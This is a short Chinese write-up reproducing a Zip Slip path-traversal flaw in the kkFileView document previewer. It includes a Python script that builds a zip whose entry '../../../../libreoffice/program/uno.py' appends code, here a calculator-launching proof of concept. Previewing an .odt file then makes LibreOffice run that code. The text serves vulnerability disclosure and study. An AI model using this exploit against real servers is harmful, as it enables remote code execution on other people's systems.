kkFileView是一个基于spring boot搭建的文档在线预览项目。

kkFileView的上传功能在处理压缩包时,没有对获取的文件名进行校验,导致出现了Zip Slip漏洞。

影响版本:v4.2.1~v4.2.0,v4.3.0~v4.40

漏洞复现

先下载存在漏洞的版本https://github.com/kekingcn/kkFileView/tree/v4.2.1

导入idea,构建运行,maven要换源或者挂代理,不然太慢

构造恶意zip包:

import zipfile
​
​
def main():
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'calc\')'
        zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test1.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../libreoffice/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e
​
if __name__ == "__main__":
    main()
​

上传zip包并预览,由于在cn.keking.service.CompressFileReader中解压后写文件时没有对文件名进行校验,直接拼接到了解压目录上导致目录穿越:

此时zip包解压出的uno.py会追加到原本系统uno.py的末尾

在预览odt文件时会转为pdf,此时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件执行解压出的payload

上传一个后缀为odt的文件,预览执行paylaod

懒狗一条